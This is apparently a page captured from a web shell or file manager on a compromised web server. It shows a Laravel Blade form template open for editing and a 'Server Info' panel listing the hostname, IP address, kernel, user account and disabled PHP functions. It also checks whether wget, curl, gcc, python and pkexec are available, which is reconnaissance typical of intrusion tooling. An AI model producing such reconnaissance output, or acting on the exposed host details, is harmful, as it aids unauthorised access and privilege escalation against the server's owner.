$__componentOriginalcd97a59301ba78d56b3ed60dd41409ab = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginalcd97a59301ba78d56b3ed60dd41409ab = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.form.textarea','data' => ['name' => 'description','label' => 'Description','value' => ''.e(@old('description', $medicine->description)).'','col' => 'col-md-12']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('form.textarea'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['name' => 'description','label' => 'Description','value' => ''.e(@old('description', $medicine->description)).'','col' => 'col-md-12']); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginalcd97a59301ba78d56b3ed60dd41409ab)): ?> <?php $attributes = $__attributesOriginalcd97a59301ba78d56b3ed60dd41409ab; ?> <?php unset($__attributesOriginalcd97a59301ba78d56b3ed60dd41409ab); ?> <?php endif; ?> <?php if (isset($__componentOriginalcd97a59301ba78d56b3ed60dd41409ab)): ?> <?php $component = $__componentOriginalcd97a59301ba78d56b3ed60dd41409ab; ?> <?php unset($__componentOriginalcd97a59301ba78d56b3ed60dd41409ab); ?> <?php endif; ?> <?php /**PATH /home/eliosofonline/pham.eliosof.com/resources/views/medicine/form.blade.php ENDPATH**/ ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002